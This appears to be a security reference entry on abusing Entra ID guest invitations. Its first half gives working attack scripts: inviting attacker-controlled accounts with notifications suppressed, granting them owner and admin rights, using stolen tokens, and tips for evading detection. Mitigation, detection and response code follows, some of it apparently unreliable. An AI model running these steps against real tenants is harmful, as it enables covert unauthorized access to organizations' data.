| Attribute | Details |
|---|---|
| Technique ID | EVADE-VALID-002 |
| MITRE ATT&CK v18.1 | T1078.004 - Valid Accounts: Cloud Accounts |
| Tactic | Defense Evasion |
| Platforms | Entra ID |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | Azure AD (all versions with guest collaboration); Microsoft Entra ID |
| Patched In | N/A (requires policy hardening) |
| Author | SERVTEP – Artur Pchelnikau |
External Guest Invitation for Bypass is a defense evasion technique that exploits Azure AD B2B (Business-to-Business) collaboration features to establish persistent access while evading conditional access policies and threat detection. By inviting attacker-controlled external accounts as Azure AD guest users, an attacker can:
Unlike traditional credential compromise where a single account is exploited, guest invitation creates a separate identity footprint that survives credential resets and makes detection difficult because the “user” appears to legitimately exist across multiple organizations.
Attack Surface: Azure AD B2B invitation API, Microsoft Graph guest user endpoints, SharePoint Online guest sharing settings, Teams guest member access.
Business Impact: An attacker can establish a persistent second identity within the organization that appears legitimate. This bypasses conditional access policies designed to protect against risky sign-ins, allows access to sensitive Teams channels and SharePoint libraries, and is difficult to detect because the account appears in audit logs as an “invited guest”—a normal business operation.
Technical Context: Exploitation takes 1-2 minutes to execute (send invitation + accept). Detection depends on whether organization has:
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS Azure 2.2 | Ensure that ‘Guest Access’ is set to ‘Most Restrictive’ |
| DISA STIG | AZ-ID-000008 | Ensure that ‘Guest Invitations’ are restricted to authorized users |
| CISA SCuBA | SC-7(b) | Restrict guest access to sensitive collaboration spaces |
| NIST 800-53 | AC-2(7) | Account Establishment - Guest/External User Controls |
| GDPR | Art. 32 | Security of Processing - Control external access to personal data |
| DORA | Art. 9 | Critical Infrastructure Protection - external access monitoring |
| NIS2 | Art. 21 | Cyber Risk Management - access control and external collaboration |
| ISO 27001 | A.13.1 | Segregation of Networks - external party access controls |
| ISO 27005 | Section 7 | Asset Management - identification and classification of external users |
Supported Versions:
Requirements:
Supported Tools:
Supported Versions: Azure AD all versions
Objective: Confirm that the organization allows guest invitations and identify who can send them.
Command (PowerShell - Check Guest Invitation Policies):
# Check if guest invitations are enabled
$guestSettings = Get-MgDirectorySettingTemplateById "08d542b9-231f-474c-a900-cd2cde299e1f" -ErrorAction SilentlyContinue
# Check guest invitation permissions
$guestPolicy = Get-MgDirectorySetting -All | Where-Object {$_.DisplayName -eq "Guest Invitation Settings"}
Write-Host "[*] Current guest collaboration settings:"
Write-Host " - Guest Users Role: $($guestPolicy.Values | Where-Object Name -eq 'GuestUserRoleId' | Select-Object -ExpandProperty Value)"
Write-Host " - Guest Invite Restrictions: $($guestPolicy.Values | Where-Object Name -eq 'AllowInvitesFrom' | Select-Object -ExpandProperty Value)"
Write-Host " - Guest Invite Admin Only: $($guestPolicy.Values | Where-Object Name -eq 'GuestInviteRestrictionConfiguration' | Select-Object -ExpandProperty Value)"
# 0 = Everyone can invite
# 1 = Only admins can invite
# 2 = Admin and users in guest inviter role can invite
Alternative Command (Azure CLI - Simpler):
# Query guest settings via Azure CLI
az rest --method get --uri "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" \
--headers "Content-Type=application/json" | jq '.allowInvitesFrom'
# Output:
# "everyone" = Any user can invite guests
# "adminsAndGuestInviters" = Only admins or specific role
# "none" = No guest invitations allowed
Expected Output:
[*] Current guest collaboration settings:
- Guest Users Role: Default
- Guest Invite Restrictions: Everyone
- Guest Invite Admin Only: False
What This Means:
OpSec & Evasion:
Azure CLI to blend with legitimate Azure operationsObjective: Create a guest user account by sending an invitation to an attacker-controlled email address.
Command (PowerShell - Send Guest Invitation):
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "User.Invite.All"
# Attacker's external email address (can be free account)
$guestEmail = "attacker-external@protonmail.com"
$guestDisplayName = "Jean-Paul Dupont" # Plausible French name matching target org
# Create guest invitation
$invitationBody = @{
invitedUserEmailAddress = $guestEmail
invitedUserDisplayName = $guestDisplayName
inviteRedirectUrl = "https://myapps.microsoft.com" # Redirect after acceptance
sendInvitationMessage = $false # Don't send email - we control the external account anyway
}
$invitation = New-MgDirectoryInvitation -BodyParameter $invitationBody
Write-Host "[+] Guest invitation created"
Write-Host " - Invited Email: $guestEmail"
Write-Host " - Invite URL: $($invitation.InviteRedeemUrl)"
Write-Host " - User ID: $($invitation.InvitedUser.Id)"
# Save the invite URL
$inviteUrl = $invitation.InviteRedeemUrl
Write-Host "[*] Save this URL: $inviteUrl"
Alternative - Graph API Direct Call (Lower Detection):
# Using curl - less logged than PowerShell
curl -X POST "https://graph.microsoft.com/v1.0/invitations" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"invitedUserEmailAddress": "attacker-external@protonmail.com",
"invitedUserDisplayName": "Jean-Paul Dupont",
"inviteRedirectUrl": "https://myapps.microsoft.com",
"sendInvitationMessage": false
}' | jq '.inviteRedeemUrl'
Expected Output:
[+] Guest invitation created
- Invited Email: attacker-external@protonmail.com
- Invite URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=...&redirect_uri=...&state=...
- User ID: 12345678-abcd-ef00-1234-567890abcdef
[*] Save this URL: https://login.microsoftonline.com/...
What This Means:
OpSec & Evasion:
sendInvitationMessage to false to avoid email alert that guest IT would receivemyapps.microsoft.com is standard)Objective: Activate the guest account by accepting the invitation from the external email address.
Command (Browser or Automation):
# Use Selenium or similar to automate browser acceptance
# Or manually: Attacker opens incognito browser with external email account and clicks invitation link
# PowerShell alternative using MSAL (requires guest account setup first)
# This uses the accepted guest identity to obtain access token
$inviteUrl = "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=..."
# Open browser and accept (attacker must manually click "Accept" button)
Start-Process $inviteUrl
Write-Host "[*] Please accept the invitation in browser window"
Write-Host "[*] You will be redirected to myapps.microsoft.com after acceptance"
Expected Output (After Manual Acceptance):
[+] Guest account activated
[+] You are now invited to organization as guest
[+] Can access: Teams, SharePoint, Exchange resources
What This Means:
Objective: Grant guest account access to sensitive data repositories while avoiding detection.
Command (PowerShell - Add Guest to Teams):
# Connect as the guest user or as an admin who can add members
$guestUserId = "12345678-abcd-ef00-1234-567890abcdef" # From Step 2
# Find sensitive Teams channels
$teams = Get-MgTeam | Where-Object {$_.DisplayName -like "*Finance*" -or $_.DisplayName -like "*Executive*"}
foreach ($team in $teams) {
# Add guest to team
New-MgTeamMember -TeamId $team.Id -BodyParameter @{
"@odata.type" = "#microsoft.graph.aadUserConversationMember"
"user@odata.bind" = "https://graph.microsoft.com/v1.0/users/$guestUserId"
"roles" = @("owner") # High privilege - guest becomes owner
}
Write-Host "[+] Added guest as OWNER to team: $($team.DisplayName)"
}
# Add guest to sensitive SharePoint sites
$sites = Get-MgSite | Where-Object {$_.DisplayName -like "*Contracts*" -or $_.DisplayName -like "*Legal*"}
foreach ($site in $sites) {
# Add as site collection admin
$siteUser = New-MgSitePermission -SiteId $site.Id `
-BodyParameter @{
roles = @("admin")
grantedToIdentities = @{
user = @{
id = $guestUserId
}
}
}
Write-Host "[+] Added guest as ADMIN to site: $($site.DisplayName)"
}
Expected Output:
[+] Added guest as OWNER to team: Finance Team
[+] Added guest as OWNER to team: Executive Strategy
[+] Added guest as ADMIN to site: Contracts
[+] Added guest as ADMIN to site: Legal Documents
What This Means:
Supported Versions: Azure AD all versions; requires admin privileges
If guest invitation policy is restricted, compromise an admin account with invitation privileges.
Objective: Obtain credentials for account with “User Administrator” or “Guest Inviter” role.
Commands (PowerShell - Find High-Privilege Accounts):
# Identify accounts with B2B invitation privileges
$roles = @(
"User Administrator",
"Guest Inviter",
"Global Administrator",
"Directory Writers"
)
foreach ($roleName in $roles) {
$role = Get-MgDirectoryRole -Filter "displayName eq '$roleName'"
if ($role) {
$members = Get-MgDirectoryRoleMember -DirectoryRoleId $role.Id
Write-Host "[*] $roleName members ($($members.Count)):"
$members | ForEach-Object {
Write-Host " - $($_.AdditionalProperties.userPrincipalName)"
}
}
}
# Use compromised admin credentials to bulk invite attacker-controlled accounts
$adminToken = # [Stolen admin token]
# Create multiple guest accounts with slightly varied names to avoid suspicion
$guestAccounts = @(
@{email="jdupont-dev@protonmail.com"; name="Jean Dupont (Dev)"},
@{email="consultant-audit@gmail.com"; name="External Auditor"},
@{email="jsmith-temp@outlook.com"; name="John Smith (Consultant)"}
)
foreach ($guest in $guestAccounts) {
$invitationBody = @{
invitedUserEmailAddress = $guest.email
invitedUserDisplayName = $guest.name
inviteRedirectUrl = "https://myapps.microsoft.com"
sendInvitationMessage = $false
} | ConvertTo-Json
$response = Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/invitations" `
-Method POST `
-Headers @{Authorization = "Bearer $adminToken"; "Content-Type" = "application/json"} `
-Body $invitationBody
Write-Host "[+] Invited: $($guest.email)"
}
Supported Versions: Azure AD all versions (lowest privilege required)
Compromise a standard employee account and use their invitation capability.
# After compromising employee via phishing/credential stuffing:
# Use their legitimate access to invite guests
$employeeToken = # [Stolen employee token]
# Send guest invitation as the employee
$invitationBody = @{
invitedUserEmailAddress = "attacker@protonmail.com"
invitedUserDisplayName = "Mark Johnson"
inviteRedirectUrl = "https://myapps.microsoft.com"
sendInvitationMessage = $false
}
Invoke-RestMethod `
-Uri "https://graph.microsoft.com/v1.0/invitations" `
-Method POST `
-Headers @{Authorization = "Bearer $employeeToken"; "Content-Type" = "application/json"} `
-Body ($invitationBody | ConvertTo-Json)
Write-Host "[+] Invitation sent as employee account"
Command:
Invoke-AtomicTest T1078.004 -TestNumbers 2 -Verbose
Cleanup Command:
# Remove guest users created during test
Get-MgUser -Filter "userType eq 'Guest'" | Where-Object {$_.CreatedDateTime -gt (Get-Date).AddHours(-1)} | Remove-MgUser
1. Restrict Guest Invitations to Admins Only
Eliminate the ability for standard users to invite guests.
Manual Steps (Azure Portal):
microsoft.com, approved-partner.com)PowerShell Automated Version:
# Connect as Global Admin
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
# Create/Update external collaboration policy
$params = @{
displayName = "Restrict Guest Invitations"
definition = @(
"{`"inviteRestriction`":{`"allowedToSignUp`":false,`"allowedInvitationTypes`":[`"Admin`"]}}"
)
templateId = "08d542b9-231f-474c-a900-cd2cde299e1f"
}
New-MgDirectorySettingTemplate -TemplateId "08d542b9-231f-474c-a900-cd2cde299e1f" -ErrorAction SilentlyContinue
$setting = New-MgDirectorySetting -DisplayName "Guest Invitation Settings" `
-TemplateId "08d542b9-231f-474c-a900-cd2cde299e1f" `
-Values @(
@{
Name = "AllowInvitesFrom"
Value = "adminsAndGuestInviters" # Only admins
}
)
Write-Host "[+] Guest invitation restricted to admins only"
2. Implement Conditional Access Policies Explicitly for Guest Users
Apply stricter MFA and device compliance requirements to external guests.
Manual Steps (Azure Portal):
Block Guest Users from Risky LocationsAlternative - Require MFA for All Guests:
3. Enforce Guest Access Reviews
Automatically disable or remove guest accounts after set period.
Manual Steps (Azure Portal):
PowerShell to Remove Unused Guest Accounts:
# Find guest accounts that haven't signed in for 30+ days
$inactiveGuests = Get-MgUser -Filter "userType eq 'Guest'" -All | `
Where-Object {$_.LastSignInDateTime -lt (Get-Date).AddDays(-30)}
foreach ($guest in $inactiveGuests) {
# Check if they have access to critical resources before deletion
$hasSensitiveAccess = $false
# Remove inactive guest
if (-not $hasSensitiveAccess) {
Remove-MgUser -UserId $guest.Id
Write-Host "[+] Removed inactive guest: $($guest.UserPrincipalName)"
}
}
4. Monitor Guest User Creation and Resource Assignment
Detect unusual guest invitations and access patterns.
Manual Steps (Create Sentinel Alert):
AuditLogs
| where OperationName == "Invite external user" or OperationName == "Add member to group"
| where Properties contains "guest" or Properties contains "external"
| project TimeGenerated, OperationName, InitiatedBy = tostring(InitiatedBy.user.userPrincipalName),
TargetResources, Result
| where Result == "Success"
| summarize by InitiatedBy, TargetResources
| where InitiatedBy !in ("admin1@contoso.com", "hr-team@contoso.com") // Whitelist expected inviters
5. Implement Zero Trust for Guests
Require device compliance and identity verification for guest access.
Manual Steps (Intune - Mobile Device Management):
6. Separate Guest Access to Dedicated SharePoint Sites
Instead of mixing guests with internal users in shared sites, use guest-only collaboration sites.
Manual Steps:
7. Audit Trail for Guest Activity
Enable detailed logging of guest user actions.
Manual Steps (Azure Portal):
# 1. Check guest invitation policy
$policy = Get-MgDirectorySetting -All | Where-Object {$_.DisplayName -eq "Guest Invitation Settings"}
$allowInvitesFrom = $policy.Values | Where-Object Name -eq "AllowInvitesFrom" | Select-Object -ExpandProperty Value
if ($allowInvitesFrom -eq "adminsAndGuestInviters") {
Write-Host "[✓] Guest invitations restricted to admins only"
} else {
Write-Host "[✗] CRITICAL: Guest invitations available to all users"
}
# 2. Check Conditional Access for guests
$caPolicy = Get-MgIdentityConditionalAccessPolicy | Where-Object {$_.DisplayName -like "*Guest*"}
if ($caPolicy) {
Write-Host "[✓] Conditional Access policy exists for guests"
} else {
Write-Host "[✗] No Conditional Access for guests - CRITICAL"
}
# 3. Count active guest users
$guestCount = (Get-MgUser -Filter "userType eq 'Guest'" -All).Count
Write-Host "[*] Active guest users: $guestCount (should be < 20)"
# 4. Check for stale guests (no sign-in in 30 days)
$staleGuests = Get-MgUser -Filter "userType eq 'Guest'" -All | `
Where-Object {$_.LastSignInDateTime -lt (Get-Date).AddDays(-30)}
Write-Host "[*] Stale guests (no activity 30+ days): $($staleGuests.Count) - recommend removal"
/invitations endpoint with unusual frequencyAuditLogs table in Log Analytics showing guest invitations and assignmentsSigninLogs showing guest authentication attempts1. Immediate Containment:
# Remove all suspicious guest users
$suspiciousGuests = Get-MgUser -Filter "userType eq 'Guest'" -All | `
Where-Object {$_.CreatedDateTime -gt (Get-Date).AddDays(-7)}
foreach ($guest in $suspiciousGuests) {
# Remove from all groups first
$groups = Get-MgUserMemberOf -UserId $guest.Id
foreach ($group in $groups) {
Remove-MgGroupMemberByRef -GroupId $group.Id -DirectoryObjectId $guest.Id -ErrorAction SilentlyContinue
}
# Delete guest account
Remove-MgUser -UserId $guest.Id
Write-Host "[+] Removed guest: $($guest.UserPrincipalName)"
}
2. Access Review:
# Audit what data the guest accessed
Get-MgUserOAuth2PermissionGrant -UserId $guestId | Select-Object -ExpandProperty "ConsentType"
# Export SharePoint/Teams access logs
Search-UnifiedAuditLog -UserIds $guestEmail -Operation SharingInvitationCreated,SharingInvitationAccepted
3. Credential Reset for Compromised Inviters:
# Reset password for any account that sent suspicious invitations
$inviterUPN = "employee@contoso.com"
Set-MsolUserPassword -UserPrincipalName $inviterUPN -NewPassword (ConvertTo-SecureString "NewP@ss123!" -AsPlainText -Force) -ForceChangePasswordNextLogin $true
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | IA-PHISH-001 | Compromise employee account via device code phishing |
| 2 | Lateral Movement | LM-AUTH-009 | Use B2B collaboration to access partner tenant |
| 3 | Defense Evasion | [EVADE-VALID-002] | Invite external guest account to bypass Conditional Access |
| 4 | Collection | COLLECT-EMAIL-001 | Use guest account to access sensitive Teams/SharePoint |
| 5 | Persistence | PERSIST-ACCT-005 | Create persistent service principal access as guest |